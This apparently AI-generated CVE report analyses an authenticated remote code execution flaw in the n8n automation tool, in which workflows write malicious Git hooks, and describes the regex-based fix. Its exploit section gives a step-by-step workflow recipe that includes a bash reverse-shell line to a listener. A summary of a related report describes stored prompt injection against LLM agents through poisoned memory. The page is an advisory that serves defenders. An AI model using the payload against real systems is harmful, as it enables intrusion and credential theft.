CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27498

n8n Automation RCE: When 'GitOps' Becomes 'GitPwned'

Alon Barad
Alon Barad
Software Engineer

Feb 26, 2026·5 min read·131 visits

Executive Summary (TL;DR)

Authenticated RCE in n8n via filesystem manipulation. Attackers can write malicious scripts to `.git/hooks` or `.git/config` using standard workflow nodes. When n8n triggers a Git operation, the script runs, popping a shell on the host.

A critical Remote Code Execution (RCE) vulnerability exists in n8n, the popular workflow automation tool. By design, n8n allows users to automate file operations. However, a failure to restrict access to the `.git` directory allows authenticated users to write malicious Git hooks or configuration files. When the system subsequently performs a Git operation, these malicious files are executed by the host OS, granting full control to the attacker. It turns the very features that make n8n powerful—flexibility and filesystem access—into a weapon.

The Hook: Automation for the People (and Hackers)

n8n is the 'fair-code' darling of the automation world. It’s like Zapier, but for people who like to self-host and write JavaScript. It’s powerful, flexible, and sits at the center of your stack, holding credentials for your databases, CRMs, and cloud providers. That makes it a high-value target. If you pop an n8n instance, you don't just get a server; you get the keys to the entire kingdom.

The vulnerability, CVE-2026-27498, is a classic case of "features gone wild." n8n is designed to read and write files. It is also designed to interact with Git repositories for version control. The problem? It didn't draw a line between "user data" and "system metadata." It let you treat the hidden .git directory just like any other folder. And as any red-teamer knows, if you can write to .git, you own the repo—and the machine running it.

The Flaw: A Hook in the System

The root cause here is Improper Control of Generation of Code (CWE-94), but let's call it what it really is: a logic flaw in file permission boundaries. The n8n node responsible for file I/O (ReadWriteFile) happily accepts paths provided by the user. While there are settings to restrict access to specific directories, the implementation failed to account for the danger of modifying internal version control structures.

Git is not just a storage format; it is an executable environment. It has hooks—shell scripts that run automatically when specific events happen (commits, pushes, checkouts). It has configuration files (.git/config) that can define external commands (like core.sshCommand).

The vulnerability is simple: n8n allowed a workflow to write a file named .git/hooks/post-checkout (or similar). The system didn't see this as a threat; it just saw a file write. But to the Git binary, that file is an executable instruction. The next time n8n performed a Git operation (which it does for its own version control features), Git effectively said, "Oh, a hook! I better execute this immediately."

The Code: Patching the Hole

The fix involved implementing a blacklist pattern to forbid access to sensitive paths. The developers introduced a new environment variable, N8N_BLOCK_FILE_PATTERNS, and enforced a check before any file write operation occurs.

Here is a reconstruction of the logic change based on commit 97365caf253978ba8e46d7bc53fa7ac3b6f67b32. They moved from a permissive model to a restrictive one regarding dot-files associated with git.

// THE VULNERABLE LOGIC (Conceptual)
// If the user has permission to write to /home/n8n, they can write anywhere inside it.
if (config.fileSystem.writeEnabled) {
  fs.writeFileSync(userPath, content);
}
 
// THE FIX (Conceptual)
// Explicitly checking for the .git directory pattern
const BLOCKED_PATTERNS = [ /^(.*\/)*\.git(\/.*)*$/ ];
 
function isFilePathBlocked(path) {
  const resolvedPath = fs.realpathSync(path);
  return BLOCKED_PATTERNS.some(pattern => pattern.test(resolvedPath));
}
 
if (isFilePathBlocked(userPath)) {
  throw new NodeOperationError(node, 'Access to this file path is restricted.');
}

> [!NOTE] > The fix relies on Regex. As we all know, Regex is the duct tape of security patches. While effective against standard paths, one must wonder about edge cases in path normalization on Windows systems vs Linux systems.

The Exploit: From Workflow to Shell

Exploiting this is trivially easy if you have access to the n8n UI. You don't need memory corruption or buffer overflows; you just need to build a workflow. Here is the recipe for disaster:

  1. Create a Workflow: Add a "Manually Triggered" node.
  2. Write the Payload: Add a "Read/Write Files from Disk" node.
    • Operation: Write File
    • File Name: /home/node/.n8n/git/workflow-repo/.git/hooks/post-commit (Adjust path to match the installation).
    • Content:
      #!/bin/bash
      bash -i >& /dev/tcp/10.0.0.1/1337 0>&1
  3. Make it Executable: In a standard Linux environment, the write might not set +x, but .git/config modification requires no execution bits. Alternatively, overwrite HEAD to point to a malicious ref.
  4. Trigger Execution: Add a "Git" node to the workflow that commits the changes you just made.
  5. Profit: The moment the Git node runs git commit, your hook fires, and a reverse shell connects back to your listener.

The Impact: Why This Matters

This is a CVSS 9.0 for a reason. n8n is often deployed with access to internal networks, databases, and third-party APIs. It contains credentials—API keys, OAuth tokens, database passwords—stored in its encrypted credentials database.

An attacker with RCE on the n8n host can:

  • Decrypt Credentials: Extract the encryption key from the environment variables and dump the credentials database.
  • Lateral Movement: Use the n8n host as a pivot point to attack internal services that are otherwise unreachable from the internet.
  • Supply Chain Attack: Modify workflows to inject malicious logic into business processes (e.g., "When a new customer is added, send a copy of their data to my server").

Because n8n allows executing arbitrary shell commands via the "Execute Command" node if enabled, many admins disable that node. This vulnerability bypasses that restriction entirely, proving that disabling the front door doesn't matter if the chimney is wide open.

The Fix: Closing the Window

The remediation is straightforward: Update immediately.

  • Fixed Versions: 1.123.8 and 2.2.0.
  • Configuration: If you cannot update, you can manually apply the blockade using the environment variable N8N_BLOCK_FILE_PATTERNS. Set it to ^(.*\/)*\.git(\/.*)*$.

However, the best defense is depth. Why does your automation tool need write access to the entire disk? Run n8n in a container with a read-only root filesystem, mounting only specific writable directories for data persistence. And for the love of security, do not run it as root.

Official Patches

n8nRelease notes for version 1.123.8

Fix Analysis (2)

Technical Appendix

CVSS Score
9.0/ 10
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Affected Systems

n8n (Self-hosted)n8n (Cloud/Enterprise if incorrectly configured)

Affected Versions Detail

Product
Affected Versions
Fixed Version
n8n
n8n.io
< 1.123.81.123.8
n8n
n8n.io
>= 2.0.0, < 2.2.02.2.0
AttributeDetail
CWE IDCWE-94
CVSS v4.09.0 (Critical)
VectorAV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Attack VectorNetwork (Authenticated)
Privileges RequiredLow (Workflow Editor)
StatusPoC Available

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
T1087Account Discovery
Discovery
CWE-94
Improper Control of Generation of Code

The software generates code or other content, but it does not sufficiently ensure that the generated code is free of malicious content, leading to Code Injection.

Known Exploits & Detection

TheoryExploitation relies on standard n8n nodes to write to .git hooks.

Vulnerability Timeline

Initial fix commit by Dimitri Lavrenük
2025-12-19
Refined fix commit by Shireen Missi
2025-12-22
CVE-2026-27498 and GHSA Published
2026-02-25

References & Sources

  • [1]GHSA-x2mw-7j39-93xq
  • [2]NVD - CVE-2026-27498

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•CVE-2026-58254
6.5

CVE-2026-58254: Authorization Bypass in NATS Server Message Tracing for Leaf Node Connections

NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.

Alon Barad
Alon Barad
11 views•10 min read
•2 days ago•CVE-2026-63341
7.5

CVE-2026-63341: Unauthenticated Denial of Service via Unbounded Topic Depth in Aedes MQTT Broker

CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.

Alon Barad
Alon Barad
14 views•12 min read
•2 days ago•CVE-2026-61725
6.1

CVE-2026-61725: Path Traversal and Arbitrary File Overwrite in sevenz-rust2

CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.

Alon Barad
Alon Barad
6 views•12 min read
•2 days ago•CVE-2026-77309
8.8

CVE-2026-77309: Unauthenticated Remote Code Execution in NASA-AMMOS AIT-GUI via Incomplete File Cleanup and Path Traversal

CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.

Amit Schendel
Amit Schendel
16 views•10 min read
•2 days ago•CVE-2026-77332
2.3

CVE-2026-77332: Surfaced-Memory Envelope Injection and Stored Prompt Injection in memtomem-stm

A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.

Alon Barad
Alon Barad
19 views•10 min read
•2 days ago•CVE-2026-77331
2.0

CVE-2026-77331: Race Condition and Session State Corruption in memtomem-stm

CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.

Amit Schendel
Amit Schendel
8 views•9 min read